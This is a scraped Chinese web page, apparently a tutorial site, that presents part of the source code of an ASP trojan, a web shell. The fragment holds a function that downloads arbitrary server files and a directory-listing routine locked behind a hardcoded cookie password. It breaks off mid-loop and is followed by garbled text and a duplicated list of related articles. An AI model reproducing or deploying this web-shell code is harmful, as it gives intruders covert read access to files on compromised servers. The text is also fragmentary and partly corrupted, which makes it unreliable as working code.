我爱Aspx >> Asp.Net >> 一个ASP木马程序的源代码s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
%>
<%case "list.asp"%>
<%
urlpath=server.urlencode(path)
if Request.Cookies("password")="7758521" then
dim cpath,lpath
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"<a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br><script language=VBScript>"
For Each x In theSubFolders
%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"
Ҷƪл˵?
一个ASP统计制作实例[05-15]
用文本+ASP打造新闻发布系统[05-15]
防范ASP木马的十大基本原则[05-15]
ASP木马的原理和基本防范方法[05-15]
用ASP木马实现FTP和解压缩[05-15]
在ASP程序中实现数据库事务控制[05-15]
20种看ASP程序源码的方法及工具[05-15]
深入理解ASP中FSO的神奇功能[05-15]
ASP内置对象Request和Response详..[05-15]
在ASP中轻松实现记录集分页显示[05-15]
一个ASP统计制作实例[05-15]
用文本+ASP打造新闻发布系统[05-15]
防范ASP木马的十大基本原则[05-15]
ASP木马的原理和基本防范方法[05-15]
用ASP木马实现FTP和解压缩[05-15]
在ASP程序中实现数据库事务控制[05-15]
20种看ASP程序源码的方法及工具[05-15]
深入理解ASP中FSO的神奇功能[05-15]
借他人的程序造自己的家园 菜鸟也..[05-15]
ASP内置对象Request和Response详..[05-15]